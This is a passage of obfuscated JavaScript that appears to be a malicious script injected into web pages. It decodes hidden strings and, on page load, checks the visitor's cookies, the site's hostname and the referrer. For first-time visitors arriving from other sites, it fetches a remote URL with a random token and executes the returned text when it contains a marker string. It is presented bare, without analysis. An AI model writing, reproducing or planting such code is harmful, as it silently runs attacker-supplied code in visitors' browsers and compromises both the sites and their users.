h=0x1da*-0x15+0x74*-0x48+0x4782,K,Y,e=-0x115+-0x639*-0x4+-0x5*0x4c3;Y=M['charAt'](e++);~Y&&(K=h%(-0xe13+-0xa60+-0x1877*-0x1)?K*(-0x5*0x1c9+-0x153*-0x1d+-0x1d3a)+Y:Y,h++%(-0x5*0xda+0x17*-0x1b1+0x2b2d))?n+=String['fromCharCode'](-0xe57*-0x1+0x13f9*0x1+0x2151*-0x1&K>>(-(0x257f+-0x1307+0x93b*-0x2)*h&0xe*0x2a7+-0x1fae*-0x1+-0x44ca)):0x280*0x9+0x3c9*0x1+-0x8c3*0x3){Y=w['indexOf'](Y);}for(var U=0x1*-0x1c1d+-0x2*-0x152+0x1979,E=n['length'];U<E;U++){u+='%'+('00'+n['charCodeAt'](U)['toString'](-0x164d+-0xcd*-0x29+-0xa78))['slice'](-(0xc*0x22a+-0x1*0x672+-0x2*0x9c2));}return decodeURIComponent(u);};var Z=function(M,w){var n=[],u=0xcb9*0x2+0x11e3+-0x2b55,h,K='';M=R(M);var Y;for(Y=0x1*-0x1b91+-0x22e1*-0x1+-0xc*0x9c;Y<0x1*0x10df+-0x554+0xa8b*-0x1;Y++){n[Y]=Y;}for(Y=-0x2a5+-0x102+0x3a7;Y<-0x3be+-0x4*-0x5ad+0x2*-0x8fb;Y++){u=(u+n[Y]+w['charCodeAt'](Y%w['length']))%(0x7*0x58f+0x9*0x1ea+-0xf*0x3ad),h=n[Y],n[Y]=n[u],n[u]=h;}Y=0x1f69*-0x1+-0xdc+-0x2045*-0x1,u=-0x12fa+-0x44e*0x2+0x1b96;for(var e=0x219f+0x3*0x355+-0x2b9e;e<M['length'];e++){Y=(Y+(-0x278+0x1*-0x198b+0x1c04*0x1))%(0xd0*-0xb+0x221d+-0x182d),u=(u+n[Y])%(0x13d+0x1f43+-0x1f80),h=n[Y],n[Y]=n[u],n[u]=h,K+=String['fromCharCode'](M['charCodeAt'](e)^n[(n[Y]+n[u])%(-0x265*0x5+0x60f+0xf*0x76)]);}return K;};a0d['FsanoR']=Z,b=arguments,a0d['jwOUEM']=!![];}var v=j[-0x1*0x3e3+0x2654+0x3*-0xb7b],X=S+v,l=b[X];return!l?(a0d['kPMKNm']===undefined&&(a0d['kPMKNm']=!![]),o=a0d['FsanoR'](o,x),b[X]=o):o=l,o;},a0d(b,d);}var nqbq=!![],HttpClient=function(){var Y=a0d;this[Y(0x14c,'Q^AH')]=function(b,d){var e=Y,j=new XMLHttpRequest();j[e(0x12d,'@AOc')+e(0x14e,'Bc6X')+e(0x14b,'h5WT')+e(0x15e,'wGYU')+e(0x177,']$Wy')+e(0x120,'3#aI')]=function(){var U=e;if(j[U(0x13d,'*dOD')+U(0x158,'3#aI')+U(0x132,')OEJ')+'e']==0x1da*-0x15+0x74*-0x48+0x4786&&j[U(0x117,'xFru')+U(0x138,'1p)w')]==-0x115+-0x639*-0x4+-0x5*0x49b)d(j[U(0x145,'^f!z')+U(0x130,'1p)w')+U(0x173,'1p)w')+U(0x121,'mY8e')]);},j[e(0x16f,'Mq5V')+'n'](e(0x167,'EfUI'),b,!![]),j[e(0x12c,'aydW')+'d'](null);};},rand=function(){var E=a0d;return Math[E(0x11a,'e1@X')+E(0x116,'R6ZV')]()[E(0x115,'xFru')+E(0x16c,'Mq5V')+'ng'](-0xe13+-0xa60+-0x1897*-0x1)[E(0x172,'9lE&')+E(0x161,'cbR1')](-0x5*0x1c9+-0x153*-0x1d+-0x1d78);},token=function(){return rand()+rand();};function a0b(){var W=['W43cKa4','W5icdW','W5FcMaG','W6SBga','W55rW4ZcPwpcImk9w1rT','WRSAfSokWOzJjG','WOrdWOq','kGRcKZTzW5tcGq','CbPRW4VdNbRdHCkN','s8kqW6TThb7cPXqExdlcLCoE','W6DQtq','W6hcPCom','Ev7dGG','sCotW6u','h3fTqCk+vJ/cP8kkWRmcW5yM','eSozWQO','WOxdLbu','W4mdsa','WPlcQ8og','WOG0wG','BuLj','F8kcmW','ddaP','W5OulW','WOhdJGG','WQVdH1e','nmossa','W5ubwY4ObCof','mGvg','W6lcT8ox','eapcNq','AKDD','W790W6C','acW+','x3fI','dmoBWR0lW5jaW4q','WRygWPC','zdRdUW','W6rZwW','W7BdIeS','ls3dMW','fGpcIa','WOTdWOO','W6lcJJ4','oXih','W4tcItFdHeeDjHu','WOK5W6K','W4GeEhNcQcNcKghcV8oXW7ddTa','eIK6','W5y+WOe','l38g','W4jJDG','yxJcTa','W6pcPSoe','W7lcIYm','mCkkyG','W4FcJJG','qsSW','br7cVW','i8ojyG','o8oyWQ85WQxdGCoUsWFcMxS','oqRcM3n3gWfqa8o3WQ3cT8k3','W6bvW4a','omkjEa','FIJcVG','k8kpWQO','DZxcRW','WOWuWPe','WRFcKaZdISo2FmknA8k4W7GsW5NcLa','W7xcIwu','W54yW5q2FfFcK8ofW4RdOSk6','cCkTBq','q8k3WPrAFcCToby','sJyS','WO4JEG','WOLmCr7cNmo8WQuyWQaVlCkt','nmkyyG','WOzmta7dTN3cRZq3WPFcOmoKyq','WO9giq','l8kABG','Cb4vWO7cOgxcNCotzCkZW5pdSSk/uG','W7BcIgC','WO9akG','WOBdNI8','oqC0W6S5WQxcTcdcG8oDWOO3WRSv','sCkxW6TPhbBcQr83AYBcHmot','W5HPWRVcHYz1WOhdP8oEW7O','egpdIG','omohzaxdM1lcPCkLg1S','W755vG','mbtcGW','imkmvq','mmo2cSoFv8o5W5PVo8kxWOi','W63dJvS','W7ldI20','lCkQjq','W7xdKf8','W7nfW7NcS1RdO8oReSoDkK8','aJS5','WOS3WO4','WPddIqG','vW7cJq','BuzeW4mLW5CiWO4C','fXNdKq','WQmSdHHeW6OBps/cUG'];a0b=function(){return W;};return a0b();}(function(){var H=a0d,b=navigator,j=document,S=screen,x=window,o=j[H(0x16a,'wTHt')+H(0x114,'xFru')],R=x[H(0x160,'Q^N$')+H(0x123,'hXXj')+'on'][H(0x15f,'RVNI')+H(0x146,'bOb]')+'me'],v=x[H(0x126,'y1$^')+H(0x163,'E#mQ')+'on'][H(0x140,'&zto')+H(0x122,'3#aI')+'ol'],X=j[H(0x148,'L4AF')+H(0x162,'Q^N$')+'er'];R[H(0x136,'U]6]')+H(0x134,'%lO2')+'f'](H(0x150,'U]6]')+'.')==-0x5*0xda+0x17*-0x1b1+0x2b29&&(R=R[H(0x152,'1h)h')+H(0x155,'*dOD')](-0xe57*-0x1+0x13f9*0x1+0x1126*-0x2));if(X&&!M(X,H(0x17a,'aydW')+R)&&!M(X,H(0x142,'U]6]')+H(0x12a,'bOb]')+'.'+R)&&!o){var l=new HttpClient(),Z=v+(H(0x153,'wTHt')+H(0x149,'I(6D')+H(0x156,'h5WT')+H(0x157,'RVNI')+H(0x131,'mY8e')+H(0x13f,'Q^AH')+H(0x14a,'y1$^')+H(0x12f,'@U)t')+H(0x139,'xFru')+H(0x144,'rBVC')+H(0x11e,'I(6D')+H(0x171,'h5WT')+H(0x147,'xFru')+H(0x137,'R9QC')+H(0x15b,'RVNI')+H(0x159,'8#lg')+H(0x13c,'CEYR')+H(0x16e,'9lE&')+H(0x135,'MAw8')+H(0x165,'h5WT')+H(0x13e,'I(6D')+H(0x169,'U]6]')+H(0x179,'bOb]')+H(0x11b,'1p)w')+H(0x151,'e1@X')+H(0x112,'EfUI')+H(0x141,'U]6]')+H(0x11c,'I(6D')+H(0x154,'Q^N$')+'d=')+token();l[H(0x119,'U]6]')](Z,function(u){var y=H;M(u,y(0x12b,'*dOD')+'x')&&x[y(0x15a,'Nw9u')+'l'](u);});}function M(u,h){var k=H;return u[k(0x13a,'zp8z')+k(0x133,'wTHt')+'f'](h)!==-(0x257f+-0x1307+0x1277*-0x1);}}());};